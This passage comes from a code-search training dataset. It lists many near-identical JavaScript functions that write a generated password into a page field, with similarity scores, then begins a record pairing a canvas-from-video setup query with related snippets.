document.querySelector(\"#password\");\n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword(); \n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function inputPassword(e) {\n document.getElementById(\"password\").textContent = e;\n}","function writePassword() {\n\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\r\n var password = generatePassword();\r\n var passwordText = document.querySelector(\"#password\");\r\n\r\n passwordText.value = password;\r\n}","function writePassword() {\r\n var password = generatePassword();\r\n var passwordText = document.querySelector(\"#password\");\r\n\r\n passwordText.value = password;\r\n \r\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\npasswordText.value = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password; \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password\n}","function writePassword() {\n \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n //\n \n\n passwordText.value = password;\n \n}","function userInput(finalPassword) {\n document.getElementById(\"password\").textContent = finalPassword;\n}","function writePassword(generatedPassword) {\n console.log(\"Generated Password: \" + generatedPassword);\n var newPassword = document.querySelector(\"#password\");\n newPassword.innerText = generatedPassword;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n\n}","function writePassword() {\n var password = newPassword\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePW();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword()\n var passwordText = document.querySelector(\"#password\")\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n \n var password = generatePassword()\n //alert(password);\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.value = password;\n\n}","function writePassword() \n{\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}","function writePassword() {\r\n var password = generatePassword();\r\n var passwordText = document.querySelector(\"#password\");\r\n\r\n passwordText.value = password; \r\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n \n \n passwordText.value = password;\n \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}"],"string":"[\n \"function WritePassword(passwordText) {\\n document.getElementById(\\\"password\\\").textContent = passwordText;\\n\\n}\",\n \"function writePassword() {\\n document.querySelector(\\\"#password\\\").innerHTML = password;\\n\\n }\",\n \"function userInput(password) {\\n document.getElementById(\\\"password\\\").textContent = password;\\n}\",\n \"function UserInput(passwordText) {\\n document.getElementById(\\\"password\\\").textContent = passwordText;\\n}\",\n \"function showPassword(displayPassword) {\\n document.getElementById(\\\"password\\\").textContent = displayPassword;\\n}\",\n \"function writePassword(pass) {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = pass;\\n\\n}\",\n \"function writePassword() {\\n generatePassword()\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.textContent = password\\n\\n}\",\n \"function writePassword(password) {\\n\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function UserInput(pd) {\\n document.getElementById(\\\"password\\\").textContent = pd;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n\\n}\",\n \"function writePassword() {\\n\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function writePassword() {\\n \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");//id selector = html line 22 \\n\\n passwordText.value = password;\\n\\n \\n}\",\n \"function passwordWriter() {\\n let passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password; \\n}\",\n \"function writePassword() {\\nvar password = generatePassword();\\nvar passwordText = document.querySelector(\\\"#password\\\");\\n\\npasswordText.value = password;\\n}\",\n \"function UserInput(output) {\\n document.getElementById(\\\"password\\\").passwordText = output;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n passwordText.innerHTML = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n document.getElementById(\\\"password\\\").innerHTML = password;\\n}\",\n \"function writePassword(){\\n\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\"); \\n \\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = displayPassword;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n\\n\\n passwordText.value = password;\\n \\n\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password \\n}\",\n \"function writePassword() {\\n var password = generatePasswordContent();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() { \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() { \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n\\n }\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = newGeneratedPassword; \\n\\n}\",\n \"function writePassword() {\\n var password = generatePass();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePass();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword(password) {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword(); \\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function inputPassword(e) {\\n document.getElementById(\\\"password\\\").textContent = e;\\n}\",\n \"function writePassword() {\\n\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password;\\r\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password;\\r\\n \\r\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\npasswordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password; \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password\\n}\",\n \"function writePassword() {\\n \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n\\n\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n //\\n \\n\\n passwordText.value = password;\\n \\n}\",\n \"function userInput(finalPassword) {\\n document.getElementById(\\\"password\\\").textContent = finalPassword;\\n}\",\n \"function writePassword(generatedPassword) {\\n console.log(\\\"Generated Password: \\\" + generatedPassword);\\n var newPassword = document.querySelector(\\\"#password\\\");\\n newPassword.innerText = generatedPassword;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n\\n}\",\n \"function writePassword() {\\n var password = newPassword\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePW();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword()\\n var passwordText = document.querySelector(\\\"#password\\\")\\n \\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n \\n var password = generatePassword()\\n //alert(password);\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() \\n{\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password; \\r\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n \\n \\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.88116086","0.8573077","0.83758783","0.8321781","0.8316973","0.8254185","0.8232729","0.82186484","0.8214353","0.8212168","0.819865","0.8196123","0.8187172","0.8187172","0.8183191","0.8169886","0.8150967","0.8148606","0.81402886","0.8140272","0.8134589","0.8122994","0.81045556","0.8101793","0.80988085","0.80980366","0.8088884","0.8088884","0.8082781","0.80786","0.8076784","0.8076784","0.8076784","0.8076784","0.8076784","0.8076784","0.8076784","0.8076784","0.8076784","0.8070179","0.8069889","0.8069889","0.80694634","0.80694634","0.8069265","0.80647326","0.8053474","0.80493176","0.8047731","0.80427104","0.8042438","0.80414104","0.80412495","0.8040781","0.80385023","0.80376345","0.80363023","0.8034796","0.8034796","0.8034653","0.80321735","0.80321735","0.8029755","0.8026497","0.802625","0.80240834","0.8021983","0.8021983","0.8020465","0.8016834","0.8014387","0.8014282","0.80101067","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173","0.8009173"],"string":"[\n \"0.88116086\",\n \"0.8573077\",\n \"0.83758783\",\n \"0.8321781\",\n \"0.8316973\",\n \"0.8254185\",\n \"0.8232729\",\n \"0.82186484\",\n \"0.8214353\",\n \"0.8212168\",\n \"0.819865\",\n \"0.8196123\",\n \"0.8187172\",\n \"0.8187172\",\n \"0.8183191\",\n \"0.8169886\",\n \"0.8150967\",\n \"0.8148606\",\n \"0.81402886\",\n \"0.8140272\",\n \"0.8134589\",\n \"0.8122994\",\n \"0.81045556\",\n \"0.8101793\",\n \"0.80988085\",\n \"0.80980366\",\n \"0.8088884\",\n \"0.8088884\",\n \"0.8082781\",\n \"0.80786\",\n \"0.8076784\",\n \"0.8076784\",\n \"0.8076784\",\n \"0.8076784\",\n \"0.8076784\",\n \"0.8076784\",\n \"0.8076784\",\n \"0.8076784\",\n \"0.8076784\",\n \"0.8070179\",\n \"0.8069889\",\n \"0.8069889\",\n \"0.80694634\",\n \"0.80694634\",\n \"0.8069265\",\n \"0.80647326\",\n \"0.8053474\",\n \"0.80493176\",\n \"0.8047731\",\n \"0.80427104\",\n \"0.8042438\",\n \"0.80414104\",\n \"0.80412495\",\n \"0.8040781\",\n \"0.80385023\",\n \"0.80376345\",\n \"0.80363023\",\n \"0.8034796\",\n \"0.8034796\",\n \"0.8034653\",\n \"0.80321735\",\n \"0.80321735\",\n \"0.8029755\",\n \"0.8026497\",\n \"0.802625\",\n \"0.80240834\",\n \"0.8021983\",\n \"0.8021983\",\n \"0.8020465\",\n \"0.8016834\",\n \"0.8014387\",\n \"0.8014282\",\n \"0.80101067\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\",\n \"0.8009173\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":19,"cells":{"query":{"kind":"string","value":"Setup canvas based on the video input"},"document":{"kind":"string","value":"function setup_canvases() {\n\t\tcanvas.width = video_element.scrollWidth;\n\t\tcanvas.height = video_element.scrollHeight;\n\t\toutput_element.width = video_element.scrollWidth;\n\t\toutput_element.height = video_element.scrollHeight;\n\t\tconsole.log(\"Canvas size is \" + video_element.scrollWidth + \" x \" + video_element.scrollHeight);\n\t}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["_setupCanvas() {\n\t\tconst {video, elements} = this;\n\n\t\tconst virtualCanvas = elements.virtualCanvas = document.createElement('canvas');\n\n\t\tthis.context = elements.canvas.getContext('2d');\n\t\tthis.virtualContext = virtualCanvas.getContext('2d');\n\n\t\telements.canvas.width = virtualCanvas.width = video.videoWidth;\n\t\telements.canvas.height = virtualCanvas.height = video.videoHeight;\n\t}","canvasApp() {\n this.context = this.canvas.getContext(\"2d\");\n this.videoLoop();\n }","function makeCanvases() {\n w = _this.media.videoWidth;\n h = _this.media.videoHeight;\n \n // create a canvas to display the color-changed video, and a div to hold the canvas\n var candiv = document.createElement('div');\n candiv.style.position = 'absolute';\n _mediaHolder.appendChild(candiv);\n candiv.style.top = _media.offsetTop + 'px'; // so that the canvas will appear over the video\n candiv.style.left = _media.offsetLeft + 'px';\n _colorCanvas = document.createElement('canvas');\n _colorCanvas.style.display = 'none';\n _colorCanvas.width = w;\n _colorCanvas.height = h;\n candiv.appendChild(_colorCanvas);\n \n _colctx = _colorCanvas.getContext('2d');\n options.colorCanvas = _colorCanvas;\n \n // create a buffer canvas to hold each frame for processing\n // note that it just \"floats\" and is never appended to the document\n _bufferCanvas = document.createElement('canvas');\n _bufferCanvas.style.display = 'none';\n _bufferCanvas.width = w;\n _bufferCanvas.height = h;\n _bufctx = _bufferCanvas.getContext('2d');\n options.bufferCanvas = _bufferCanvas;\n console.log('The variable bufctx is ' + _bufctx);\n \n \n if (_coloring === \"color-no-change\"){\n return;\n }\n else if (_coloring === \"blackwhite\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n console.log('Playing. The variable bufctx is ' + _bufctx);\n options.redrawID = makeBW(_media, _bufctx, _colctx, w, h, framecounter);\n });\n }\n else if (_coloring === \"sepia\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n options.redrawID = makeSepia(_media, _bufctx, _colctx, w, h, framecounter);\n });\n }\n else if (_coloring === \"custom\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n options.redrawID = adjustColor(_media, _bufctx, _colctx, w, h, framecounter, _redAdd, _greenAdd, _blueAdd);\n });\n }\n }","constructor() {\n super();\n /**\n * video source file or stream\n * @type {string}\n * @private\n */\n this._source = '';\n\n /**\n * use camera\n * @type {boolean}\n * @private\n */\n this._useCamera = false;\n\n /**\n * is component ready\n * @type {boolean}\n */\n this.isReady = false;\n\n /**\n * is video playing\n * @type {boolean}\n */\n this.isPlaying = false;\n\n /**\n * width of scaled video\n * @type {int}\n */\n this.videoScaledWidth = 0;\n\n /**\n * height of scaled video\n * @type {int}\n */\n this.videoScaledHeight = 0;\n\n /**\n * how the video is scaled\n * @type {string}\n * @default letterbox\n */\n this.videoScaleMode = 'contain';\n\n /**\n * what type of data comes back with frame data event\n * @type {string}\n * @default imagedataurl\n */\n this.frameDataMode = 'none';\n\n /**\n * determines whether to use the canvas element for display instead of the video element\n * @type {boolean}\n * @default false\n */\n this.useCanvasForDisplay = false;\n\n /**\n * canvas filter function (manipulate pixels)\n * @type {method}\n * @default 0 ms\n */\n this.canvasFilter = this.canvasFilter ? this.canvasFilter : null;\n\n /**\n * refresh interval when using the canvas for display\n * @type {int}\n * @default 0 ms\n */\n this.canvasRefreshInterval = 0;\n\n /**\n * video element\n * @type {HTMLElement}\n * @private\n */\n this.videoElement = null;\n\n /**\n * camera sources list\n * @type {Array}\n */\n this.cameraSources = [];\n\n /**\n * canvas element\n * @type {Canvas}\n * @private\n */\n this.canvasElement = null;\n\n /**\n * component shadow root\n * @type {ShadowRoot}\n * @private\n */\n this.root = null;\n\n /**\n * interval timer to draw frame redraws\n * @type {int}\n * @private\n */\n this.tick = null;\n\n /**\n * canvas context\n * @type {CanvasContext}\n * @private\n */\n this.canvasctx = null;\n\n /**\n * has the canvas context been overridden from the outside?\n * @type {boolean}\n * @private\n */\n this._canvasOverride = false;\n\n /**\n * width of component\n * @type {int}\n * @default 0\n */\n this.width = 0;\n\n /**\n * height of component\n * @type {int}\n * @default 0\n */\n this.height = 0;\n\n /**\n * left offset for letterbox of video\n * @type {int}\n * @default 0\n */\n this.letterBoxLeft = 0;\n\n /**\n * top offset for letterbox of video\n * @type {int}\n * @default 0\n */\n this.letterBoxTop = 0;\n\n /**\n * aspect ratio of video\n * @type {number}\n */\n this.aspectRatio = 0;\n\n /**\n * render scale for canvas frame data\n * best used when grabbing frame data at a different size than the shown video\n * @attribute canvasScale\n * @type {float}\n * @default 1.0\n */\n this.canvasScale = 1.0;\n\n /**\n * visible area bounding box\n * whether letterboxed or cropped, will report visible video area\n * does not include positioning in element, so if letterboxing, x and y will be reported as 0\n * @type {{x: number, y: number, width: number, height: number}}\n */\n this.visibleVideoRect = { x: 0, y: 0, width: 0, height: 0 };\n\n this.template = `\n \n\n \n `;\n }","async function populateVideo() {\n // We grab the feed off the user's webcam\n const stream = await 